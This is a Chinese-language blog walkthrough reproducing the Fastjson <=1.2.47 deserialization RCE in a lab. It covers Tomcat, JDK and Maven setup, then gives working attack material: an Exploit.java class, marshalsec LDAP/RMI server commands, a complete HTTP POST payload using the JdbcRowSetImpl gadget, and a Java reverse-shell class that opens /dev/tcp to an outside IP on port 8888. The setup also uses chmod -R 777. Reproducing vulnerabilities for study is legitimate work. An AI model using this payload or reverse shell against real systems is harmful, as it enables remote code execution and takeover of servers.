一、搭建环境:

第一种:Docker一键拉取环境

htttps://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce

第二种:tomacat搭建:

1、搭建tomcat环境
首先去tomcat官网下载tomcat
https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.48/bin/apache-tomcat-9.0.48.tar.gz
2、将此压缩包复制到我的linux服务器上解压

tar zxvf apache-tomcat-9.0.48.tar.gz


3、把文件放在tomcat9文件夹,授予tomcat9这个文件夹777权限

cd /usr/local
mkdir tomcat9
在apache-tomcat-9.0.48 所在目录下执行
cp -r apache-tomcat-9.0.48/* /usr/local/tomcat9/
cd /usr/local/
chmod -R 777 tomcat9

4、安装java环境
上传jdk压缩包文件到服务器/usr/java目录下

tar zxvf jdk-8u181-linux-x64.tar.gz

配置JDK版本及环境变量

vi /etc/profile
#java

export JAVA_HOME=/usr/java/jdk1.8.0_102

export PATH=$JAVA_HOME/bin:$PATH

export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib

source /etc/profile

java -version

5、启动tomcat

进入tomcat9下的bin目录

./catalina.sh start



我这里因为8080端口被占用了,改了下tomcat端口到8088了,改端口的话在tomcat目录下的conf文件。

6、最后复制fastjson1.2.47到webapps文件夹下,环境即搭建成功。

##在webapps下新建fastjson目录
mkdir fastjson
在fastjson目录下执行
cp -r fastjson/* /usr/local/tomcat9//webapps/fastjson


成功

**

二、CentOS安装maven

1、安装 wget 命令:

yum -y install wget

2、下载maven安装包

 wget http://mirrors.cnnic.cn/apache/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz

![在这里插入图片描述](https://img-blog.csdnimg.cn/20210621094805370.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3N6Z3l1bnl1bg==,size_16,color_FFFFFF,t_70)
3.解压maven安装包 ```bash
tar -zxvf apache-maven-3.5.4-bin.tar.gz

4.配置maven:

  vim /etc/profile

在配置文件配置中加上:

export MAVEN_HOME=/root/apache-maven-3.5.4  (这个目录换成你的 maven 解压后的文件所在目录)
export PATH=$MAVEN_HOME/bin:$PATH


5、让文件生效,刷新配置文件 :

source /etc/profile

6.查看maven 版本:

mvn -version

# 或者

mvn -v

**

三、【漏洞利用】漏洞利用

【基础知识】
反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。

RMI是一种行为,指的是Java远程方法调用。

JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。

ldap指轻量级目录访问协议。
具体可参考https://xz.aliyun.com/t/7079

存在java版本限制:
基于rmi的利用方式:适用jdk版本:JDK 6u132, JDK 7u131, JDK 8u121之前。
在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。
基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。

【漏洞复现】

1、拿个来自斯文大佬的EXP
**
Exploit:

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader; public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec("touch /tmp/fastjson.test");
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
} p.waitFor();
is.close();
reader.close();
p.destroy();
} public static void main(String[] args) throws Exception {
}
}

上述代码保存为Exploit.java
然后运行javac Exploit.java编译
生成Exploit.class文件上传到VPS上

2、在VPS上Exploit.class目录下运行

python3 -m http.server 7000

使用python搭建一个临时的web服务
Ps:此步是为了接收LDAP服务重定向请求,需要在payload的目录下开启此web服务,这样才可以访问到payload文件

3、在本地启动rmi服务器,这里推荐github上的一个项目marshalsec

(也可以直接用打包好的jar包在文末公众号回复获取:marshalsec-0.0.3-SNAPSHOT.jar )

安装mvn

https://github.com/mbechler/marshalsec

需要用maven进行生成jar包,进入marshalsec目录后

git clone https://github.com/mbechler/marshalsec.git
cd marshalse
mvn clean package -Dmaven.test.skip=true
或者
mvn clean package -DskipTests

这一步可能会报错一般是java环境变量没设置好
我重装了下JDK就好了
https://blog.csdn.net/szgyunyun/article/details/118081356


4、之后利用marshalsec,启动ldap服务

LDAP:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.71.1:7000/#TouchFile" 9999
##这里很尴尬文章写了一半我VPS到期了,换成本地了http://192.168.71.1:7000/#TouchFile就是本地起的web服务。 或者
RMI:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.71.1/#TouchFile" 9999

5、查看一下靶机源码,发现参数name和age,构造一下,回显正常,
真实环境中这些都是目标机自带的,找到提交json的地方构造poc即可

POST / HTTP/1.1
Host: 192.168.71.128:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/json
Connection: close
Content-Length: 19 {name:"1",age:"20"}

6、上poc

POST / HTTP/1.1
Host: 192.168.71.128:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept:*/*
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Upgrade-Insecure-Requests: 1
Content-Length: 257 {
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.71.1:9999/Exploit",
"autoCommit":true
}
}

这边已经监听到了

到docker里边去看一下

docker exec -it d29ba4bb5ca1 /bin/bash


**

四、反弹shell

**

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader; public class shell{
public shell() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/139.9.xxx.xxx/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
} p.waitFor();
is.close();
reader.close();
p.destroy();
} public static void main(String[] args) throws Exception {
}
}


微信公众号欢迎关注,回复“marshalsec”获取打包好的marshalsec-0.0.3-SNAPSHOT.jar

Fastjson命令执行漏洞复现2(fastjson <=1.2.47)的更多相关文章

  1. Apache SSI 远程命令执行漏洞复现

    Apache SSI 远程命令执行漏洞复现 一.漏洞描述 当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令. 使 ...

  2. ThinkPHP 5.x远程命令执行漏洞复现

    ThinkPHP 5.x远程命令执行漏洞复现 一.漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.th ...

  3. D-Link service.cgi远程命令执行漏洞复现

    1.1 概述 友讯集团(D-Link),成立于1986年,1994年10月于台湾证券交易所挂牌上市,为台湾第一家上市的网络公司,以自创D-Link品牌行销全球,产品遍及100多个国家. 1月17日,C ...

  4. thinkphp5.x命令执行漏洞复现及环境搭建

    楼主Linux环境是Centos7,LAMP怎么搭不用我废话吧,别看错了 一.thinkphp5.X系列 1.安装composer yum -y install composer 安装php拓展 yu ...

  5. Apache SSI远程命令执行漏洞复现

    漏洞原理:当目标服务器开启了SSI与CGI支持,就可以上传shtml文件,并利用语法执行任意命令,例如<!- - #exec cmd="ls"- ->,cmd后面跟要执 ...

  6. Weblogic CVE-2018-3191远程代码命令执行漏洞复现

      0x00 简介 北京时间10月17日,Oracle官方发布的10月关键补充更新CPU(重要补丁更新)中修复了一个高危的WebLogic远程代码执行漏洞(CVE-2018-3191).该漏洞允许未经 ...

  7. struts2(s2-052)远程命令执行漏洞复现

    漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...

  8. 利用phar实行php反序列化命令执行漏洞复现

    利用phar实行php反序列化命令执行(测试环境复现) 前言 一般说到反序列化漏洞,第一反应都是unserialize()函数.然而安全研究员Sam Thomas分享了议题”It’s a PHP un ...

  9. CVE-2019-0193:Apache Solr 远程命令执行漏洞复现

    0x00 漏洞背景 2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重 0x01 影响范围 Apache Solr < 8.2.0 0x0 ...

  10. Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

    影响版本 Apache Shiro <= 1.2.4 产生原因 shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cook ...

随机推荐

  1. 内容分发网络 CDN 概述

    本文分享自天翼云开发者社区<内容分发网络 CDN 概述>,作者:Jerry CDN(Content Delivery Network)是一种分布式网络架构,旨在提供高效.可靠地将内容传送给 ...

  2. oracle 常用函数2

    1.ASCII 2 2.CHR. 2 3.CONCAT. 2 4.INITCAP. 2 5.INSTR(C1,C2,I,J) 3 6.LENGTH *. 3 7.LOWER. 3 8.UPPER. 3 ...

  3. Presto配置调整

    一.常用优化 1.每个查询最大使用内存1T,目前配置 3T query.max-memory=1T 2.每个工作节点最多加载10GB数据,目前 60GB query.max-memory-per-no ...

  4. ASP.NET Core 6 基础入门系列(1) ASP.NET Core 6.0 简介

    系列目录     [已更新最新开发文章,点击查看详细] 预备知识1:  C#5.C#6.C#7.C#8.C#9.C#10 预备知识2:  .NET 对比 .NET Framework 预备知识3:   ...

  5. QT5笔记:9. QT的容器类

    QList 中存放对象指针,QVector直接存放对象,所以访问性能更高 QMap中key不可以重复,QMultiMap中key可以重复 QMap在内存中顺序存储,QHash不是顺序存储的(hash算 ...

  6. MySQL - [02] 常用SQL

    题记部分 一.连接MySQL服务器 1.常规连接方式 # 连接本地mysql服务器 mysql -u 用户名 -p # 连接到指定mysql服务器,回车执行该命令之后需要输入密码 mysql -h 主 ...

  7. Keepalived学习,双主热备高可用

    双主热备可以看做双机主备的升级(双机主备链接 https://www.cnblogs.com/hmxs/p/12041735.html),它是为了让两台设备都能提供服务,而不是主节点正常时,备用节点一 ...

  8. 【检索类型EI、Scopus】第二届智能计算与数据分析国际学术会议(ICDA 2025)

    为探讨数据科学和计算智能领域的关键问题,促进相关交流,由黄河科技学院主办的2025年第二届智能计算与数据分析国际学术会议(ICDA 2025)将于2025年8月22日-24日在中国郑州召开.本届会议拟 ...

  9. Windows下PostgreSQL设置远程连接以及备份和恢复数据库

    一.设置远程连接 修改安装路径下的postgresql.conf,定位到listen_address  = '*',确保其值为'*'(Windows下默认是这样的,可不用修改) 修改安装路径下的pg_ ...

  10. 查看docker服务状态

    root用户使用 #查看docker服务状态: systemctl status docker 非root用户使用 #查看docker服务: sudo systemctl status docker